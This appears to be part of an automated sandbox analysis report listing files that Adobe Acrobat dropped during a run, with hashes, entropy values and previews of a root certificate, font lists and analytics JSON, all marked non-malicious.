C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklE35kNllltfllXlE/HT8kor/h1NNX8RolJuRdxLlGB9lQRYwpDdt:kKd35kNteT8T7NMa8RdWBwRd
MD5:	65B7B615D9BE2B8405618CCE3F87A525
SHA1:	C630EAF440EFFCBFCD65D8B8F38BDCBDB1A9C261
SHA-256:	900693B407C63342CCD7015220761A6F38F59D085DBC1313924B2B829883F93D
SHA-512:	92188CBA27A6DD749A0FD8B6CC261DDBB89AF82BF0658653A8E54AC4C91718FA058B56E0AC37B28414E8058EA74BDE3DA4804D165DA770F3AFCC5544C8F6E4C3
Malicious:	false
Preview:	p...... ...........Y.c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7888

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7888

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.355273059513662
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJM3g98kUwPeUkwRe9:YvXKXylZc0vuZGMbLUkee9
MD5:	5F47BC52D4E58E26835C10848F61339E
SHA1:	CA3BEE929933ED4605C6A1C8766C807C092FB627
SHA-256:	266C46EBD7DA5416FA2D4ACEFC2BA060593101659E1846BF15804C32F6E1916E
SHA-512:	90EE63AC74A83FC25ABF28700CC7CCFC80BEDEB26564399CB94867B5EFCE0B039973EFF8C3152C3B46D8A156928FFF7EC5DE29A35A43628DA3926AE87FCEF1E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303902453447202
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJfBoTfXpnrPeUkwRe9:YvXKXylZc0vuZGWTfXcUkee9
MD5:	DBBCFA472E9AA105DD982EFFF8DD1D08
SHA1:	1CB76DD7446065C7D0E53AA30ACF297F6F058280
SHA-256:	04DAB7CA57C2210541C88F3E5FEE36AAE488DD75B885BE51EB63B0F9EF8C95D3
SHA-512:	88801DF6A9952299B6B1E6E214B306F917B464F528FCC66C5957D395FFFEEB08F102DC3D0312954CA2328A76D0911843167E9FB8C9828A25B02358FDA8AEAF1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2831702473618725
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJfBD2G6UpnrPeUkwRe9:YvXKXylZc0vuZGR22cUkee9
MD5:	406BF645A55F500E2AF6F55EAA931317
SHA1:	A5615295A768B3558C8C7D19C15C6B9596BC51B0
SHA-256:	928F6B209D34C6FA2987CF7DA7510BD31BEA7CB21CE77EDFAFAE7FD17E66474E
SHA-512:	64726E9755579FF709645A2FF02E44B379B6259D9C8732720EBD418521BE68C24A070C4F73391830463B064B45CDD9B0236D451458AFE9BABC34235AB2923B4B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.341999694592908
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJfPmwrPeUkwRe9:YvXKXylZc0vuZGH56Ukee9
MD5:	A3ADC876B4C402183BB8EFB600CB9780
SHA1:	8BC945A4E134DEA270634C784B5E8A79C959A5E4
SHA-256:	F9696BE91BE84644DAC7E0E5CF0C7569C16BC488B7E88B055B642F11C7FE1682
SHA-512:	5A8FFF7434E007F942B19D2B1A51DE6770DEE9C4FFD862B91B5770114FCFDC5E3C525FBE3C081322D1C36A7E6A4F0E23C1B1078F25D99D6667D295D74C49B585
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688282697148709
Encrypted:	false
SSDEEP:	24:Yv6Xylzvu+pLgE9cQx8LennAvzBvkn0RCmK8czOCCS8n:YvXW+hgy6SAFv5Ah8cv/8n
MD5:	270181BF1E83C7081A47668215813A26
SHA1:	C980E447BE94E48B52E759A6D7EC7C9F35C0F85C
SHA-256:	45E8E785E2DCE6167809C25A61FC84ACFCF843706B60852FCEB334FAEDFA034C
SHA-512:	55C971C542899D5AF65A8222DB19B0A16531EB2D0BA067A16D82AA3E614CE2523D88F531D5DAC308F5AEFC6A2BD5197AC957040FA7436E901235F6BE8255A3EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288079259960403
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJf8dPeUkwRe9:YvXKXylZc0vuZGU8Ukee9
MD5:	BFC9D4AC95C27D4BAD681507A2C39133
SHA1:	2B9A59498E7CF5BE793CE2A445F0BECC2D715D61
SHA-256:	ACDFFE2975AD1A2AA5DCB030FE13AF6EA2C57E53D368FA549F20D212477594B2
SHA-512:	1FC29F81B8C3102ACBE22A69F214A5DDEA31D32D986FE2CF60B5C7C248B916A828235A2A61370010B5D1D82A5D91A58F1EE200367B2B2CD02459446B345FEFBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.292118541608055
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJfQ1rPeUkwRe9:YvXKXylZc0vuZGY16Ukee9
MD5:	931277EF4D427E0490DBBBE3317108E9
SHA1:	26D5CE8BF8AC1191A05D7DC5B8672659E189B440
SHA-256:	BFF997D95E8C958518845E0AF7AC88C29DB9A766FDE6308B67A0A9B722842DAC
SHA-512:	8FBC346E82445C8875716F6F28A6996845BF832DAFF28049E425C21BCAF8EBA88256F366690352B6D8F5B85F2FE8993B5F888C90AB4E27D0008612D1B1F481DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297887475973556
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJfFldPeUkwRe9:YvXKXylZc0vuZGz8Ukee9
MD5:	6854B220BE408BA98D0F016ED9F5C1B6
SHA1:	EDB45184460C97D3EA3EBAC54EF7DE8A8165D1EA
SHA-256:	97E775A9742D0E1CB2AAFFABA48D965383C631865D6FC7228A34E781C78F1F10
SHA-512:	2B213481BF6296BC5C65E50B6B358E318F8E20FEDA3A60D6EC0FCEB6D8A78D02C8604561F6BEE66BBA34EE174BD6183C4DA5D5D50FBB5FDB16BB5AFEE526B446
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.312807322153409
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJfzdPeUkwRe9:YvXKXylZc0vuZGb8Ukee9
MD5:	8313487E81D2E456E1D4721076F9B6CE
SHA1:	90FD21E1521AD40E0FDEB84A34D5309515F29963
SHA-256:	B3895FF78943F67D194B3D2C930DA3CB06CDB9D8D1FC69A4678A41BD5E283D2F
SHA-512:	5FB5634E32F65A577F966F641D74330D20EC979EEF6FE676FFB1270E7116FECF02BB1F9F411A9E1789A9E2E8A49324B2005136FA8B29FF8BBFA2B162E021B228
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293592425522838
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJfYdPeUkwRe9:YvXKXylZc0vuZGg8Ukee9
MD5:	3ED6B790D924C44A0EA79CF82F812E82
SHA1:	80EAD2A1246C9C94340328283C3F938D59E3125C
SHA-256:	654F2CAD748DAB3A69821EADBC2E01B49A505E49268183E84DE4625B59F7A734
SHA-512:	BAACB2C1AC99E2D7BE8A1B926AD9F8263F161261F71935B60B02343E83D267C352587E1C2AF63109DFB25C458838F06B3465565B235A34C62E18DA7D17B2E0C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.280111342556363
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJf+dPeUkwRe9:YvXKXylZc0vuZG28Ukee9
MD5:	4B9277A12E263DF518AD32B24E233700
SHA1:	AB28EC41519CB65D71A7B4106901E0CAE9895F65
SHA-256:	0B14F2FA6C818FD31CAD1CB6285339AA275B76A8F8CD183C8F9254CF60AD9AE7
SHA-512:	E041BE39F045717AF40F977516F7D874C064CCCAE4608B5E5E71449394CBBBD90117134EAA6C16DE31DD1D2EF88F015E22A3DED5B8A85BC40EDB9FBA3CB8E587
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2771835615092595
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJfbPtdPeUkwRe9:YvXKXylZc0vuZGDV8Ukee9
MD5:	3881A85730423B6E25635DF58D6FD04D
SHA1:	DFAF68E5ED0981BA68BB754AB80624440467455F
SHA-256:	707AA222619E1EDC2780FA5651745B46FF768065ECA9723F945C67C0190A4B2D
SHA-512:	204C25EEA31A646694182665A56F00A1539CCDDEE1CFBB99FAB83A32EFD02C0B5A4672A16D59C16DC52B694827B8525CCB2507DA4CBEABCE0C3CEE167F37731B
Malicious:	false
